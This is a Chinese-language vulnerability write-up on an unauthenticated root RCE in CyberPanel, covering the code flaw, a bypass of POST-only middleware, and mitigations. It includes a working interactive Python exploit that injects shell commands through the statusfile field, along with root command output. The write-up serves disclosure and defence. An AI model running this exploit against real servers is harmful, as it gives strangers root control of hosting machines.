我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

CyberPanel 中的免认证 Root RCE 漏洞:漏洞利用深度分析

对 CyberPanel 中一个免认证 Root RCE 漏洞的技术分析,包括已确认的利用路径、所调查的组件以及研究方法得出的发现。

引言

本文将深入剖析 CyberPanel 中一个远程代码执行(RCE)漏洞的发现与利用过程。CyberPanel 是一个基于 Django 的 Web 应用,用于管理 FTP、SSH、SMTP 等网站托管服务。这一严重缺陷允许未经身份验证的攻击者以 root 用户身份执行任意命令,带来了重大的安全隐患,尤其考虑到 CyberPanel 在 VPS 服务器上的广泛使用。

我们的研究发现,许多机器已经遭到入侵,下图展示了受影响系统上的勒索软件,正是对此的佐证。

image.png
受利用系统上的勒索软件

最后,本文的灵感来自 DreyAnd 所开展的研究,该研究着重阐述了与此漏洞相关的技术细节和绕过机制。


截至 2024 年 10 月 30 日的更新

已分配两个 CVE,CyberPanel 维护者也发布了一则安全公告。补丁提交可在此处查看。

  • CVE-2024-51567:

    • 影响 databases/views.py 中的 upgrademysqlstatus()。
    • 于 2024 年 10 月被 PSAUX 在野利用。
    • 问题源于绕过 secMiddleware(仅对 POST 请求生效),并向 statusfile 属性注入 shell 元字符,从而实现未经身份验证的命令执行。
    • 影响 2.3.6 及之前版本以及未打补丁的 2.3.7。
  • CVE-2024-51568:

    • 通过 ProcessUtilities.outputExecutioner() 汇聚点中的 completePath 参数触发的命令注入漏洞。
    • 经由 /filemanager/upload 导致未经身份验证的 RCE。
    • 通过向文件管理器上传路由提供的 shell 元字符进行利用。
    • 影响 2.3.5 之前的版本。

漏洞概览

  • 易受攻击的组件:CyberPanel v2.3.6 中的 upgrademysqlstatus 路由。
  • 影响:以 root 权限实现未经身份验证的 RCE。
  • 漏洞利用类型:0-click、免认证的远程代码执行。
  • 根本原因:身份验证检查不充分,以及对 subprocess 命令的不安全使用。

代码走查与分析

易受攻击的 CyberPanel 版本中的 upgrademysqlstatus() 路由为理解攻击面是如何被识别出来的提供了关键线索。让我们分析该路由,以理解其底层缺陷。

易受攻击的函数:upgrademysqlstatus()

def upgrademysqlstatus(request):
    try:
        data = json.loads(request.body)
        statusfile = data['statusfile']

        # Unsafe execution using user input
        installStatus = ProcessUtilities.outputExecutioner(f"sudo cat {statusfile}")

        if "[200]" in installStatus:
            ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
            response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 1}
            return HttpResponse(json.dumps(response))

        elif "[404]" in installStatus:
            ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
            response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 0}
            return HttpResponse(json.dumps(response))

        else:
            response = {'abort': 0, 'error_message': "None", 'requestStatus': installStatus}
            return HttpResponse(json.dumps(response))

    except KeyError:
        return redirect(loadLoginPage)

upgrademysqlstatus 函数存在的问题:

  1. 缺少身份验证检查:

    • upgrademysqlstatus 路由无需任何身份验证即可访问。通常,敏感路由应通过会话令牌或中间件检查来验证用户身份。
  2. 命令注入:

    • 用户可控的输入(statusfile)被直接拼接进一个 subprocess 命令(sudo cat {statusfile})。
    • 该函数以 sudo 权限执行任意 shell 命令,从而导致命令注入。
  3. 绕过中间件:

    • 该应用使用 secMiddleware 来对 POST 请求进行清洗。然而,该中间件仅在请求方法为 POST 时才检查命令注入。
    • 这使得攻击者可以通过使用非 POST 方法(例如 PUT 或 OPTIONS)来绕过该中间件,同时仍通过 request.body 提供恶意载荷。
class secMiddleware:
    HIGH = 0
    LOW = 1

    def get_client_ip(request):
        ip = request.META.get('HTTP_CF_CONNECTING_IP')
        if ip is None:
            ip = request.META.get('REMOTE_ADDR')
        return ip

    def __init__(self, get_response):
        self.get_response = get_response

    ...
    if request.method == 'POST':
        # Security checks are applied only here...
        try:
            data = json.loads(request.body)
            # ...but ignored for non-POST requests.
    ...

漏洞利用与概念验证

本节演示如何通过绕过中间件并注入任意命令来利用该漏洞。

漏洞利用代码

下面的 PoC 演示了如何通过发送 PUT 请求来绕过中间件并注入命令,从而利用该漏洞。

import httpx
import sys

def get_CSRF_token(client):
    """Retrieve the CSRF token required for requests."""
    resp = client.get("/")
    return resp.cookies['csrftoken']

def pwn(client, CSRF_token, cmd):
    """Send the malicious command to the vulnerable route."""
    headers = {
        "X-CSRFToken": CSRF_token,
        "Content-Type": "application/json",
        "Referer": str(client.base_url),
    }

    # Command injection via statusfile parameter
    payload = '{"statusfile": "/dev/null; %s; #", "csrftoken": "%s"}' % (cmd, CSRF_token)

    # Bypass middleware by using PUT instead of POST
    response = client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload)
    return response.json().get("requestStatus")

def exploit(target, cmd):
    """Main exploit logic."""
    client = httpx.Client(base_url=target, verify=False)
    CSRF_token = get_CSRF_token(client)
    stdout = pwn(client, CSRF_token, cmd)
    print(stdout)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1]
    while True:
        cmd = input("$> ")
        exploit(target, cmd)

用法

运行漏洞利用程序:

python exploit.py https://<target-ip>:8090

注入任意命令:

$> id
uid=0(root) gid=0(root) groups=0(root)

缓解措施与建议

为防止将来出现类似漏洞,建议采取以下步骤:

  1. 集中式身份验证中间件:

    • 在全局层面而非单个路由层面实施身份验证检查。
  2. 跨方法的输入验证:

    • 在所有 HTTP 方法上一致地应用输入验证。
  3. 避免直接执行命令:

    • 使用诸如 Python 的 subprocess.run() 之类的库,并对用户输入进行妥善清洗。
  4. 最小权限原则:

    • 除非绝对必要,否则避免以 root 权限运行服务。
  5. 如果您拥有 SSH 访问权限:

    • 按照更新指南更新您的 CyberPanel。无需执行其他操作。
  6. 如果您没有 SSH 访问权限:

    • 在某些情况下,您的服务商可能会限制对 22 端口的访问,这通常是由于服务器过载或遭到入侵攻击所致。
    • 在这种情况下,请联系您的服务商并请求其启用 22 端口。恢复访问后,按照所提供的说明更新面板。

结论

CyberPanel 中的这个免认证 RCE 凸显了全面的身份验证、一致的输入验证以及对 subprocess 命令的安全处理的重要性。攻击者可以轻易利用细微的逻辑缺陷、绕过中间件,并将权限提升至 root,这表明被忽视的安全实践会带来何等毁灭性的影响。在补丁被完全集成进一个稳定版本之前,用户应立即应用该补丁并限制对易受攻击端点的访问。

标签:

RCE